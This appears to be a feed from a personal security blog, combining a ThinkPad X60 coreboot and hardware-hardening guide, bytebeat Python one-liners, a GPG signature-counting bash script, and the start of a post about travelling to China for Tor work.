</tbody></table> <p><br /></p> <h3><span class="caps">STEP</span>&nbsp;5:</h3> <p>Disable the Ricoh chip in order to disable the cardbus, firewire, and sdcard&nbsp;reader.</p> <p>To do this, lift the clear, sticky plastic protector, the one on the top of the mainboard underneath the wifi + 3g cards, near the corner which has two <span class="caps">USB</span> ports on it. Remove resistor <code>R461</code>, which is responsible for controlling powerdown signal for the <a href="proxy.php?url=http://www.hktdc.com/manufacturers-suppliers/Rico-Ind-l-Co/en/1X00202Y/">Ricoh chip</a>. Connect pin <code>2</code> of <code>R461</code> (the one closest to the <span class="caps">USB</span> ports) to pin <code>1</code> of <code>R348</code>, which is just above <code>R461</code> kind of by&nbsp;itself.</p> <blockquote><p>The lone brown component north of R461 is a capacitor, unfortunately its identifier can&#8217;t be seen in the photos because this particular <span class="caps">PCB</span> uses a much larger font size than most other boards I&#8217;ve seen, so the identifiers don&#8217;t fit next to their components. (There&#8217;s an <span class="caps">AA</span> reference north-northwest of R461 and there will be an <span class="caps">AA</span> legend somewhere else on that board, but that doesn&#8217;t help us much. It&#8217;s unfortunate but that&#8217;s the only board I had available when taking the photos. :) The identifiers can still be used as reference points though, as long as they aren&#8217;t mistaken for the actual identifiers for the components to be removed or modified. &#8212;&nbsp;Peter </p></blockquote> <p>When you&#8217;re done, drop the protective plastic back down over&nbsp;it:</p> <p><img alt="remove-R461" src="proxy.php?url=./static/images/2013/12/112-130.remove-R461_small.gif"></img></p> </p></span></p> <h3><span class="caps">STEP</span>&nbsp;6:</h3> <p>Remove the&nbsp;microphone.</p> <p>The microphone is a small, round, silver thing &#8212; mostly likely underneath a sheet of opaque, black, protective plastic on the topside of the mainboard, between the firewire and <span class="caps">USB</span> connectors. Desolder it from the bottom of the board while pulling it out from the top with a pair of&nbsp;pliers.</p> <p><img alt="remove-microphone" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/131-147.remove-microphone_small.gif"></p> <h2>Flashing the bootflash&nbsp;chip</h2> <hr> <p>Obtain any <span class="caps">SPI</span>-compatible programming interface module. Peter was using a <a href="proxy.php?url=http://enterpoint.co.uk/products/modules/ft4232-module/"><span class="caps">FT4232H</span> Mini Module</a> with this handy looking 8-pin clamp, a <a href="proxy.php?url=http://www.hmcelectronics.com/product/Pomona/5250">Pomono 5250 8-pin test clamp</a> to connect to the bootflash chip while it sits on the mainboard. This is the what the test clip looks like while it is attached to the bootflash chip during&nbsp;reflashing:</p> <p><img alt="test-clip-on-flash-chip" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/photos/151-dsc_4287.jpg"></p> <p>The <span class="caps">VCC</span> pin doesn&#8217;t need to be connected to the <span class="caps">SPI</span> programmer when flashing (for a Thinkpad X60) because the 3.3 volts required to power the bootflash chip is sourced from the power supply on the mainboard. When a battery or a power supply is connected to the power adapter &#8212; which should be connected to the mainboard, the bootflash chip is powered and on. Therefore, only 5 pins need to be connected to the <span class="caps">SPI</span> programming&nbsp;module.</p> <p><img alt="attached-power-while-flashing" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/photos/152-dsc_4291.jpg"></p> <p>To flash the chip, use <code>flashrom</code>, which is packaged in most Debian-based&nbsp;distros.</p> <p><img alt="flashrom-program" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/photos/154-dsc_4293.jpg"></p> <p>Flash the chip by specifying the correct chip from the ones listed during automatic detection by <code>flashrom</code>, followed by the location of the binary CoreBoot <span class="caps">ROM</span>:</p> <pre style="font-size: 90%" class="prettyprint lang-bash"> flashrom -c MX25L1605D/MX25L1608D -r factory.bin </pre> <p>If you get output which reads <pre style="font-size: 90%" class="prettyprint lang-bash"> No EEPROM/flash device found </pre> then check the connection between the test clamp and the bootflash pins, and make sure you&#8217;ve specified the chip number as is written on the top of the&nbsp;chip.</p> <blockquote> <p>Flashing: <code>flashrom -r</code> means read the current contents, ie. save a backup of the factory <span class="caps">BIOS</span>, for future reference. Note that ThinkPad BIOSes are tied to the particular mainboard so save yours, because no other ThinkPad <span class="caps">BIOS</span> works on your mainboard. if you lose it and coreboot doesn&#8217;t work then you have to get another&nbsp;mainboard.</p> <p>The flashrom -w command is the one that actually writes to the chip. &#8212;&nbsp;Peter</p> </blockquote> <h3>How can I set write-protect on the bootflash chip from&nbsp;hardware?</h3> <p>Solder a bridge between pins 3 and 4 on the bootflash chip (<code>MX25L1605D</code>). My notes&nbsp;say:</p> <blockquote> <ul> <li>pin 3 is&nbsp;read-protect</li> <li>pin 4 is&nbsp;ground</li> </ul> </blockquote> <p>I think perhaps I meant <em>write-protect</em>, because read protect doesn&#8217;t make much sense to me. But that is what I wrote, in case my current second guessing turns out to be&nbsp;wrong.</p> <blockquote> <p>pin 3 on the flash chip is indeed write-protect rather than&nbsp;read-protect.</p> <p>Write-protecting the chip is a little complicated: The status register (<span class="caps">SR</span>) in the flash chip has a few block protect bits which say whether parts of the flash chip, or all of it, is write protected or not. The block protect bits can be changed by software as long as <span class="caps">SR</span> itself can be written. <span class="caps">SR</span> is easily written by software by sending the right command over <span class="caps">SPI</span>. flashrom already does&nbsp;this.</p> <p>The top bit 0x80 in <span class="caps">SR</span> controls writes to <span class="caps">SR</span>, but software writing to <span class="caps">SR</span> is only completely disabled if <em>both</em> the 0x80 bit is set <em>and</em> pin 3 is connected to&nbsp;ground.</p> <p>On Macronix and Winbond that <span class="caps">SR</span> 0x80 bit is non-volatile, ie. once it has been set it stays set until it is cleared by software. If pin 3 has been connected to pin 4 ground then software can&#8217;t clear the bit. On <span class="caps">SST</span> the <span class="caps">SR</span> 0x80 bit is volatile and is always 0 on reset. A workaround would be to have coreboot or possibly a program in the initramfs, but preferably coreboot, set it on boot, but this requires a bit of&nbsp;development.</p> <p>&#8212;&nbsp;Peter</p> </blockquote> <h3>How can I set the write-protect bit from&nbsp;firmware?</h3> <p>The top bit in the status register (<span class="caps">SR</span>) is the write-protect bit, if you&#8217;re willing to modify the <code>flashrom</code> program to try to set the write-protect bit from firmware. In Peter&#8217;s&nbsp;output:</p> <p><img alt="" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/photos/157-dsc_4297.jpg"></p> <p>The output lines <pre style="font-size: 90%" class="prettyprint lang-bash"> b1.SR=0x80 b3.SR=0x82 </pre> are readings of the <span class="caps">SR</span> at different access times. These magic numbers mean very little to me; if it makes sense to you and you&#8217;ve got more info, let me know and I&#8217;ll add it&nbsp;here.</p> <p></p><span id="finallywrapper" style="align:left; float:left; width:100%;"><table id="finally" style="float:left; clear:left; width:65%; padding:0.2em;"><tbody> <tr> <td style="text-align:center; padding:0.2em;"> <img alt="Reassembly" width="400px" src="proxy.php?url=./static/images/2013/12/160-175.reassemble_small.gif" /> </td> </tr> </tbody></table> <p><br /></p> <p><h2><span class="caps">FINALLY</span>&#8230;</h2></p> <p><h3>Put it all back together and test&nbsp;it!</h3></p> <p>Be careful for the little wifi toggle switch on the front of the case where the lid closes down. It breaks easily. Or gets&nbsp;lost.</p> </p></span></p> <h2>Additional Notes and Future&nbsp;Research</h2> <hr> <h3>Building a kernel with an initramfs which checks the signature on a Tails live <span class="caps">USB</span></h3> <p>If someone were to build a kernel for a CoreBoot compatible laptop which loads an initramfs, which in turn checks a signature on a <a href="proxy.php?url=https://tails.boum.org">Tails</a> live <span class="caps">USB</span> and then calls kexec on the kernel within the Tails stick. Because the Tails .iso is signed, but not the individual components once they are installed to a <span class="caps">USB</span> stick, ideally, this small initramfs should support signing with keys which aren&#8217;t necessarily the Tails Signing Key (though that could be used as well, if the Tails developers would like to provide a way to obtain these additional&nbsp;signatures).</p> <blockquote> <p>For coreboot machines, it would work to put the signed .iso on the <span class="caps">USB</span> stick and have the initramfs mount it and start kernel+initrd from within after having checked the signature of the .iso. The tails-0.20 kernel+initrd would also fit into a 16Mb boot flash. they&#8217;re about 12Mb together. I don&#8217;t know if the Tails kernel+initrd has any self-check of the root filesystem however. &#8212;&nbsp;Peter</p> </blockquote> <h3>Disabling the onboard ethernet&nbsp;controller</h3> <p><img src="proxy.php?url=./static/images/2013/12/30c3-hhacagb/schematic/06-gbe_disable.jpg" alt="R422" width="40%"></p> <p>Peter mentioned in his talk that he&#8217;s been looking for a resistor on the mainboard, labelled <code>R422</code>, which can be seen in the upper left of <a href="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/12/30c3-hhacagb/schematic/06-gbe_disable.jpg">the schematic</a> to the&nbsp;left.</p> <p>It&#8217;s possible (but currently untested) that the <code>R422</code> resistor could be used to disable the onboard ethernet controller, if <code>R422</code> were removed, and then the <code>-GBE_DISABLE</code> side connected to ground. (Similar to R461&nbsp;above.)</p>Algorithmic Compositions2013-12-29T17:42:00+00:002014-09-16T08:41:38+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2013-12-29:/algorithmic-compositions.html<p><strong><span class="caps">UPDATED</span></strong>: 23 June, 2014 (<em>originally published on 5 April, 2013</em>)</p> <p>For a long time, I couldn&#8217;t figure out what Twitter was for. I&#8217;m not sure I&#8217;ve figured that out yet. It seems convenient for posting links to the physics and cryptography whitepapers I read, and then receiving the internet standard &#8212; inane feedback from people I&#8217;ve never even heard&nbsp;of.</p> <p>At one point, because I couldn&#8217;t figure out what to do with Twitter, I decided to release a bytebeat album through tweets. I&#8217;ve seen people tweet links to their new songs or albums or whatever &#8212; that&#8217;s&nbsp;lame. </p> <p>So I started creating algorithmic compositions in less than 140 characters in python. The album, <em>fuck_your_bits</em> (hashtag=&#8217;#fyb&#8217;), is about half done, but my friends <a href="proxy.php?url=http://thoughtcrime.org">Moxie</a> and <a href="proxy.php?url=https://twitter.com/emblem__">Emblem</a> pointed out that not only would the search function for hashtags on twitter index only the songs in my album from the past three weeks, but also that tweets in my timeline were dropped from public view after a certain number of months, depending on some indeterminable number of other algorithms that calculated &#8220;tweet&nbsp;popularity&#8221;.</p> <p>Because people have been asking for the full album, here it is. I&#8217;ll still keep tweeting it though, because the only other useful thing I can think of that impressively fits in less than 140 bytes is&nbsp;shellcode.</p> <pre style="font-size: 60%" class="prettyprint lang-py"> python -c'import sys;[sys.stdout.write(chr((~t&t>>3^(((t>>((t>>11)%7+6))%15)*t))%256))for t in xrange(2**19)]'|aplay python -c'import sys;[sys.stdout.write(chr(((~t>>2)*(2+(42&t*((7&t>>10)*2))<(24&t*((3&t>>14)+2))))%256))for t in xrange(2**18)]'|aplay python -c'import sys;[sys.stdout.write(chr((((t*5&t>>7|t*9&t>>4|t*18&t/1024)|((t|7)>>5|(t|4)>>9)))%256))for t in xrange(2**18)]'|aplay python -c'import sys;[sys.stdout.write(chr(((~t>>2)*((127&t*(7&t>>9))<(245&t*(4-(7&t>>13)))))%256))for t in xrange(2**20)]'|aplay -c 2 -r4444 python -c'import sys;[sys.stdout.write(chr((~t>>5>>(127&t*9&~t>>7<42&t*23^5&~t>>13)+3)%256))for t in xrange(2**18)]'|aplay -c2 -r2222 python -c'import sys;[sys.stdout.write(chr((((t>>(2|4)&((t%0x7369)|4|11|5))+(7|4|42)&t))%256))for t in xrange(2**18)]'|aplay -c2 -r4444 python -c'import sys;[sys.stdout.write(chr((((t*(t>>13|t>>8)|(t>>16)-t)-64))%256))for t in xrange(2**18)]'|aplay -r4444 python -c"import sys;[sys.stdout.write(chr(((0x7BB3+t>>11|(t>>(2|5)^(1515|42))|~t)|(2*t)>>6)%256))for t in xrange(2**20)]"|aplay -c2 x="if(t%2)else";python3 -c"[print(t>>15&(t>>(2$x 4))%(3+(t>>(8$x 11))%4)+(t>>10)|42&t>>7&t<<9,end='')for t in range(2**20)]"|aplay -c2 -r4 </pre>Poor’s Mans Signature Count2013-09-07T12:29:00+00:002014-01-06T14:30:21+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2013-09-07:/poors-mans-signature-count.html<p>I recently agreed to be the maintainer for Tor&#8217;s <a href="proxy.php?url=https://bridges.torproject.org">BridgeDB</a> &#8212; both <a href="proxy.php?url=https://gitweb.torproject.org/bridgedb.git">the codebase</a> and the server running the website. The poor thing needs a <a href="proxy.php?url=https://trac.torproject.org/projects/tor/query?status=accepted&amp;status=assigned&amp;status=needs_information&amp;status=needs_review&amp;status=needs_revision&amp;status=new&amp;status=reopened&amp;component=BridgeDB&amp;groupdesc=1&amp;group=priority&amp;col=id&amp;col=summary&amp;col=status&amp;col=type&amp;col=priority&amp;col=changetime&amp;report=34&amp;order=priority">lot of ♥♥♥</a>.</p> <p>One of the things we want to do is start signing emails from the BridgeDB email responder. As <a href="proxy.php?url=tomlowenthal.com">StrangeCharm</a> and others have been complaining that I know to much about GnuPG &#8212; I blame writing <a href="proxy.php?url=https://pypi.python.org/pypi/gnupg">this python module</a> &#8212; and that I keep that knowledge all in my head, I figured at least that I should explain a silly trick I devised this&nbsp;morning.</p> <p>So, you have a server somewhere in <a href="proxy.php?url=http://www.kickstarter.com/projects/966222131/ardent-mobile-cloud-platform-0?ref=card">&#8220;The Cloud&#8221;</a>. You don&#8217;t have physical access to the hardware, so you can&#8217;t install a smartcard. You want this server to sign things, and you want to be able to carry trust over to a new signing key in the event that the server is compromised. Additionally, you&#8217;d like to be able to discover, as best and as soon as possible, if that server and its signing key have been&nbsp;compromised.</p> <p>So, you create an offline, certification-only keypair. To do this, I booted into <a href="proxy.php?url=https://tails.boum.org"><span class="caps">TAILS</span></a> on a modified Thinkpad running <a href="proxy.php?url=http://www.coreboot.org/Welcome_to_coreboot">Coreboot</a>. The modifications removed the microphone and wifi card, and removed/replaced hardware pertaining to <span class="caps">VGA</span>, <span class="caps">PCI</span>, Firewire, <span class="caps">SD</span> card reader, and boot flash <span class="caps">EEPROM</span> <span class="caps">SPI</span>, <em>much</em> thanks to my friends at Coreboot, <del>who will hopefully be publishing their research soon. Sorry to keep secrets, but I would like to respect their request to allow them time to publish.</del> <strong><span class="caps">UPDATE</span> [2013-12-30]</strong>: Peter Stuge presented this research at 30c3 in his talk, <a href="proxy.php?url=http://media.ccc.de/browse/congress/2013/30C3_-_5529_-_en_-_saal_2_-_201312271830_-_hardening_hardware_and_choosing_a_goodbios_-_peter_stuge.html">&#8220;Hardening Hardware <span class="amp">&amp;</span> Choosing a #goodBIOS&#8221;</a>. Coreboot, by the way, whether you&#8217;re running on modified hardware or not, is fucking awesome. Then I attached an <span class="caps">RJ45</span> cable and&nbsp;did:</p> <pre class="prettyprint lang-bash"> amnesia@amnesia: ~$ sudo apt-get update && sudo apt-get install pcscd gpgsm dpkg-repack […] amnesia@amnesia: ~$ cd /lib/live/mount/persistent/…/Persistent amnesia@amnesia: ~$ for p in gpgsm pcscd ; do sudo dpkg-repack $p ; done </pre> <p>in order to download, install, and then repackage the .debs for the GnuPG X.509 certificate manager and smartcard reader driver allocation control daemon. Though it turns out this did me no good. I wanted to use all Open Source Hardware for my smartcards, and so (due to <a href="proxy.php?url=https://twitter.com/ioerror">@ioerror</a>&#8216;s research from a year or so ago and recommendation) I went with using a <a href="proxy.php?url=http://www.gemalto.com/products/usb_shell_token_v2/">Gemalto <span class="caps">USB</span> smartcard reader</a> with an <a href="proxy.php?url=http://www.g10code.de/p-card.html">OpenPGP <span class="caps">ID</span>-000 smartcard</a> (for purchase <a href="proxy.php?url=http://shop.kernelconcepts.de/product_info.php?cPath=1_26&amp;products_id=42&amp;osCsid=4af06348fac08e7c8f49253279fa97c7">here</a> and <a href="proxy.php?url=http://shop.kernelconcepts.de/product_info.php?cPath=1_26&amp;products_id=119&amp;osCsid=4af06348fac08e7c8f49253279fa97c7">here</a>). However, the documentation for the OpenPGP smartcard would lead one to believe that it supports three keyslots of 3072-bit length. As it turns out, <em>this is extremely misleading</em>, to the extent that &#8212; not only would I have to generate keys below my comfort level bitlength &#8212; the card is unusable for any serious key sanitation schema: <em>you can&#8217;t store 3072-bit certification-only keys on these cards</em>, not as far as I can tell. Normally, you want your primary key to be certification-only and kept offline, and then keep separated signing, encryption, and authentication subkeys online and rotate them every so often, using …</p><p>I recently agreed to be the maintainer for Tor&#8217;s <a href="proxy.php?url=https://bridges.torproject.org">BridgeDB</a> &#8212; both <a href="proxy.php?url=https://gitweb.torproject.org/bridgedb.git">the codebase</a> and the server running the website. The poor thing needs a <a href="proxy.php?url=https://trac.torproject.org/projects/tor/query?status=accepted&amp;status=assigned&amp;status=needs_information&amp;status=needs_review&amp;status=needs_revision&amp;status=new&amp;status=reopened&amp;component=BridgeDB&amp;groupdesc=1&amp;group=priority&amp;col=id&amp;col=summary&amp;col=status&amp;col=type&amp;col=priority&amp;col=changetime&amp;report=34&amp;order=priority">lot of ♥♥♥</a>.</p> <p>One of the things we want to do is start signing emails from the BridgeDB email responder. As <a href="proxy.php?url=tomlowenthal.com">StrangeCharm</a> and others have been complaining that I know to much about GnuPG &#8212; I blame writing <a href="proxy.php?url=https://pypi.python.org/pypi/gnupg">this python module</a> &#8212; and that I keep that knowledge all in my head, I figured at least that I should explain a silly trick I devised this&nbsp;morning.</p> <p>So, you have a server somewhere in <a href="proxy.php?url=http://www.kickstarter.com/projects/966222131/ardent-mobile-cloud-platform-0?ref=card">&#8220;The Cloud&#8221;</a>. You don&#8217;t have physical access to the hardware, so you can&#8217;t install a smartcard. You want this server to sign things, and you want to be able to carry trust over to a new signing key in the event that the server is compromised. Additionally, you&#8217;d like to be able to discover, as best and as soon as possible, if that server and its signing key have been&nbsp;compromised.</p> <p>So, you create an offline, certification-only keypair. To do this, I booted into <a href="proxy.php?url=https://tails.boum.org"><span class="caps">TAILS</span></a> on a modified Thinkpad running <a href="proxy.php?url=http://www.coreboot.org/Welcome_to_coreboot">Coreboot</a>. The modifications removed the microphone and wifi card, and removed/replaced hardware pertaining to <span class="caps">VGA</span>, <span class="caps">PCI</span>, Firewire, <span class="caps">SD</span> card reader, and boot flash <span class="caps">EEPROM</span> <span class="caps">SPI</span>, <em>much</em> thanks to my friends at Coreboot, <del>who will hopefully be publishing their research soon. Sorry to keep secrets, but I would like to respect their request to allow them time to publish.</del> <strong><span class="caps">UPDATE</span> [2013-12-30]</strong>: Peter Stuge presented this research at 30c3 in his talk, <a href="proxy.php?url=http://media.ccc.de/browse/congress/2013/30C3_-_5529_-_en_-_saal_2_-_201312271830_-_hardening_hardware_and_choosing_a_goodbios_-_peter_stuge.html">&#8220;Hardening Hardware <span class="amp">&amp;</span> Choosing a #goodBIOS&#8221;</a>. Coreboot, by the way, whether you&#8217;re running on modified hardware or not, is fucking awesome. Then I attached an <span class="caps">RJ45</span> cable and&nbsp;did:</p> <pre class="prettyprint lang-bash"> amnesia@amnesia: ~$ sudo apt-get update && sudo apt-get install pcscd gpgsm dpkg-repack […] amnesia@amnesia: ~$ cd /lib/live/mount/persistent/…/Persistent amnesia@amnesia: ~$ for p in gpgsm pcscd ; do sudo dpkg-repack $p ; done </pre> <p>in order to download, install, and then repackage the .debs for the GnuPG X.509 certificate manager and smartcard reader driver allocation control daemon. Though it turns out this did me no good. I wanted to use all Open Source Hardware for my smartcards, and so (due to <a href="proxy.php?url=https://twitter.com/ioerror">@ioerror</a>&#8216;s research from a year or so ago and recommendation) I went with using a <a href="proxy.php?url=http://www.gemalto.com/products/usb_shell_token_v2/">Gemalto <span class="caps">USB</span> smartcard reader</a> with an <a href="proxy.php?url=http://www.g10code.de/p-card.html">OpenPGP <span class="caps">ID</span>-000 smartcard</a> (for purchase <a href="proxy.php?url=http://shop.kernelconcepts.de/product_info.php?cPath=1_26&amp;products_id=42&amp;osCsid=4af06348fac08e7c8f49253279fa97c7">here</a> and <a href="proxy.php?url=http://shop.kernelconcepts.de/product_info.php?cPath=1_26&amp;products_id=119&amp;osCsid=4af06348fac08e7c8f49253279fa97c7">here</a>). However, the documentation for the OpenPGP smartcard would lead one to believe that it supports three keyslots of 3072-bit length. As it turns out, <em>this is extremely misleading</em>, to the extent that &#8212; not only would I have to generate keys below my comfort level bitlength &#8212; the card is unusable for any serious key sanitation schema: <em>you can&#8217;t store 3072-bit certification-only keys on these cards</em>, not as far as I can tell. Normally, you want your primary key to be certification-only and kept offline, and then keep separated signing, encryption, and authentication subkeys online and rotate them every so often, using the primary certification-only key to sign the newly rotated keys to rollover trust assignments. Sure, great. This card has slots for 3072-bit signing, encryption, and authentication keys. Once the slots are filled, I can&#8217;t replace the keys. I suppose the OpenPGP card is targeted at people who want to have to spend €20 everytime they rotate keys, but for me, I think cryptography should be a tool for the masses &#8212; not just for overpaid, overfed, white-hatty white dudes who expense the&nbsp;charge.</p> <p>Onwards. I removed the ethernet cable and rebooted <span class="caps">TAILS</span>, (<a href="proxy.php?url=http://media.ccc.de/browse/congress/2013/30C3_-_5380_-_en_-_saal_2_-_201312291830_-_persistent_stealthy_remote-controlled_dedicated_hardware_malware_-_patrick_stewin.html">make sure you never boot a Thinkpad with an ethernet cable attached to it</a>), thus the machine <em>should</em>, provided the hardware modification work, not be able to communicate with any other devices. Then with <a href="proxy.php?url=https://blog.patternsinthevoid.net/gpg.conf.txt">this gpg.conf</a> (commenting out and replacing things which have to do with my normal key) I generated the certification only key, choosing <code>RSA-only (set your own capabilities)</code>.&nbsp;Then</p> <pre class="prettyprint lang-bash"> $ gpg --edit-key […] $ gpg> addkey […] </pre> <p>and going through the whole process again for each of the signing&nbsp;subkeys.</p> <p>Next, you create a way for this remote server (A) to authenticate to a git server (B). Gitolite works great for giving keyed access to a repo without needing to give that entity an account on B. You should generate either an ssh key or an authentication-capable GnuPG subkey, and don&#8217;t keep it stored on disk anywhere on A, but load it into the agent there with indefinite lifetime (or whatever timeframe you want to have to login onto the server and refresh&nbsp;it).</p> <p>So let&#8217;s say A now has access to a git repository on&nbsp;B.</p> <p>The Poor Man&#8217;s signature count, without a smartcard (which in my case doesn&#8217;t actually do me much good, but it could be useful for normal people signing emails and things, or developers who sign all their git commits), goes like this: instead of signing things with <code>"$ gpg -s --clearsign email.txt"</code>, you do this&nbsp;mess:</p> <pre style="font-size: 90%" class="prettyprint lang-bash"> ∃!isisⒶwintermute:(master *$)~ ∴ gpg -a --clearsign \ -N "[email protected]=$(( `cat ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count` + 1 ))" \ email.txt && \ { ns=$(( `cat ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count` + 1 )) ; echo -n "$ns" |& tee > ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count ;} && \ { d=`date +"%s"`; cd ~/.gnupg/sigs-0xA3ADB67A2CDB8B35 && \ { git add ~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count && \ git commit -q -S -m "$d $ns" </dev/null ;} && \ git push origin master ;};</pre> </pre> <p>The &#8216;-N&#8217; will set a new signature notation for the signature being created on the &#8216;email.txt&#8217; file. This added signature notation which will include the signature counter stored in the file &#8216;~/.gnupg/sigs-0xA3ADB67A2CDB8B35/sig-count&#8217;, incremented by one. If the creation of this signature is successful, the increased counter is then written to that same file. Then, the sig-count file is add to a commit which has an <span class="caps">UE</span> timestamp and the current signature count in the commit message, and this commit is signed with another gpg signature, and pushed to a remote git&nbsp;server.</p> <p>You can also set the keyserver <span class="caps">URL</span> as a data packet in the <span class="caps">GPG</span> key, if you put something&nbsp;like</p> <div class="highlight"><pre><span></span><code><span class="err">sig-keyserver-url https://code.patternsinthevoid.net/?p=sigs-0xA3ADB67A2CDB8B35.git;a=blob_plain;f=sigs;hb=HEAD</span> </code></pre></div> <p>into your gpg.conf as you are generating the key, or afterwards, if you resign&nbsp;it.</p> <p>Also, so that you don&#8217;t have to type that above crazy bash nonsense, there is <a href="proxy.php?url=https://code.patternsinthevoid.net/?p=scripts.git;a=blob;f=gpg-sig-counter">a script which will do all of this for you</a>.</p> <pre class="prettyprint lang-bash"> #!/bin/bash #----------------------------------------------------------------------------- # gpg-sig-counter # ---------------- # This is a script which can be used to keep track of the number of signatures # for a GPG signing key. It is not meant for certifications # (a.k.a. signatures) on others' keys. To use it, put it somewhere on your # $PATH and create a repo somewhere for keeping a record of signatures. At the # top of this script, fill out the variables $SIG_REPO, $REMOTE, $BRANCH for # the local directory containing the repo for storing signature data, the name # of the remote to push to, and the name of the branch, respectively. # # This script can be called like this, assuming you want to sign the file # 'email.txt': # # ∃!isisⒶwintermute:(master *$)~ ∴ gpg-sig-counter -f email.txt \ # … -h patternsinthevoid.net # # Where the domain after the '-d' flag should be the domain name of your # default GPG key which you are signing with. If you want you can put the # locations of your signature repo in your signatures too, to do this put: # # sig-keyserver-url https://where.your.repo.is/ # # into your gpg.conf. This script embeds the filename which you are signing, # as well as the current count of signatures made by your key as notation data # in each signature you make using this script. For example, looking at the # following packet dump of the signature for 'email.txt', these would be the # first two subpackets which start with 'Hashed Sub: notation data': # # ∃!isisⒶwintermute:(master *$)~ ∴ pgpdump -p email.txt.asc # Old: Signature Packet(tag 2)(870 bytes) # Ver 4 - new # Sig type - Signature of a canonical text document(0x01). # Pub alg - RSA Encrypt or Sign(pub 1) # Hash alg - SHA512(hash 10) # Hashed Sub: signature creation time(sub 2)(4 bytes) # Time - Sat Sep 7 18:04:11 UTC 2013 # Hashed Sub: signature expiration time(sub 3)(critical)(4 bytes) # Time - Sun Sep 7 18:04:11 UTC 2014 # Hashed Sub: notation data(sub 20)(41 bytes) # Flag - Human-readable # Name - [email protected] # Value - 19 # Hashed Sub: notation data(sub 20)(61 bytes) # Flag - Human-readable # Name - [email protected] # Value - /home/isis/email.txt # Hashed Sub: notation data(sub 20)(74 bytes) # Flag - Human-readable # Name - [email protected] # Value - 0A6A58A14B5946ABDE18E207A3ADB67A2CDB8B35 # Hashed Sub: policy URL(sub 26)(45 bytes) # URL - https://blog.patternsinthevoid.net/policy.txt # Hashed Sub: preferred key server(sub 24)(93 bytes) # URL - https://code.patternsinthevoid.net/?p=sigs-0xA3ADB67A2CDB8B35.git;a=blob_plain;f=sigs;hb=HEAD # Sub: issuer key ID(sub 16)(8 bytes) # Key ID - 0xA3ADB67A2CDB8B35 # Hash left 2 bytes - d2 27 # RSA m^d mod n(4094 bits) - ... # -> PKCS-1 # # which show that this signature was the 19th one I made with this script, and # the file I signed was 'email.txt'. # # So, what this script does: # -------------------------- # 1. It embeds the above extra notation data into the signature packets. # # 2. Then it commits the file containing the signature count, with a commit # message containing a timestamp and the signature count. # # 3. Next, *it signs the commit*, meaning that for every signature count # *two* signatures are actually being made, but I only cared to keep # trach of the first ones, so deal with it. # # 4. Then it tries to push to whatever remote you've configured. # # :authors: Isis Agora Lovecruft, 0xa3adb67a2cdb8b35 # :license: AGPLv3, see https://www.gnu.org/licenses/agpl-3.0.txt for text # :version: 0.0.1 #----------------------------------------------------------------------------- ## SIG_REPO should be set to the local directory your signature count repo is ## located at: SIG_REPO=~/.gnupg/sigs-0xA3ADB67A2CDB8B35 ## REMOTE should be set to the name of the remote you wish to push to, if any: REMOTE=origin ## BRANCH should be set the the name of the branch to push, if any: BRANCH=master ## Don't touch anything else, unless you've found a bug and are patching it. ## ---------------------------------------------------------------------------- NAME=${0%%/} function usage () { printf "Usage: %s -f FILE -d DOMAIN [other gpg options]\n\n" $NAME printf "Options:\n" printf " -f FILE\tThe file to create a signature for\n" printf " -d DOMAIN\tThe domain of the email address on your GPG key\n" printf " -h\t\tThis cruft\n" exit 1 } ## check that we have at least some arguments if test "$#" -lt 1 ; then usage ; fi while getopts f:d:h x; do case $x in f) file=$OPTARG; if test -n "${file}" -a -n "${domain}" ; then break fi ;; d) domain=$OPTARG; if test -n "${file}" -a -n "${domain}" ; then break fi ;; h) usage;; *) break;; esac done shift $((OPTIND - 1)) gpgopts=$* if test -z "$gpgopts" ; then gpgopts='-a --clearsign' fi scf="${SIG_REPO}"/sig-count printf "Using signature count file %s" $scf gpg -s $gpgopts \ --sig-notation signed.data@"$domain"="$file" \ --sig-notation sig.count@"$domain"=$(( `cat $scf` + 1 )) $file && \ { ns=$(( `cat $scf` + 1 )) ; echo -n "$ns" |& tee > "$scf" ; } && \ { d=`date +"%s"`; cd $SIG_REPO && \ { git add $scf && \ git commit -q -S -m "$d $ns" </dev/null ;} && \ { git push $REMOTE $BRANCH && \ git log --format=format:"%CredCommit hash:%Cgreen %>(2)%H %n%CredCommit message:%Cgreen %>(2)%s %n%CredSigned commit verification:%n%C(auto)%GG%n" HEAD^.. ;}; } </pre>Tor Bridge Distribution & OONI’s Data Collector2013-04-28T13:38:00+00:002015-11-03T16:11:16+00:00isis agora lovecrufttag:blog.patternsinthevoid.net,2013-04-28:/tor-bridge-distribution-oonis-data-collector.html <p>Last week, I went to China, for the first &#8212; and possibly the last &#8212;&nbsp;time. </p> <p>Later, when I feel like complaining, I&#8217;ll blog about the negative things, like the evidence that someone had broken into mine and another Tor developer&#8217;s hotel room. As well as the tale of being followed by multiple plainclothes people through the streets of Kowloon, again with another Tor developer, down alleys, in and out of cabs, through electronic stores where I loudly and openly bought tiny audio/video devices to bug myself and the hotel room with. This is the first time I&#8217;ve ever worn a wire (I know, <em>they all say that</em>, right?): it doesn&#8217;t feel right. I felt the compulsion to warn people who walked up and started talking to me, before they spoke. And even then I still felt dirty and&nbsp;creepy.</p> <p><img alt="king-of-kowloon" src="proxy.php?url=https://blog.patternsinthevoid.net/images/2013/04/king-of-kowloon-small.jpg"></p> <p>When I started officially working on things for the <a href="proxy.php?url=https://torproject.org">Tor Project</a> a couple years ago, I&#8217;d imagined that the world was like a map in an <span class="caps">RPG</span>, and that there were a lot of dark, hazy spots that needed filling in. I worried that, if my legal name was publicly attached to Tor, that places like China, Iran, and Syria would always remain dark spots. The idea that I might be prevented from seeing and experiencing those cultures and regions firsthand, that I would not be able to see the homelands of people I wanted to empower, merely because a (<em>corrupt</em> would be redundant) government had gotten wise to some name I don&#8217;t answer to &#8212; it seemed daunting, and a 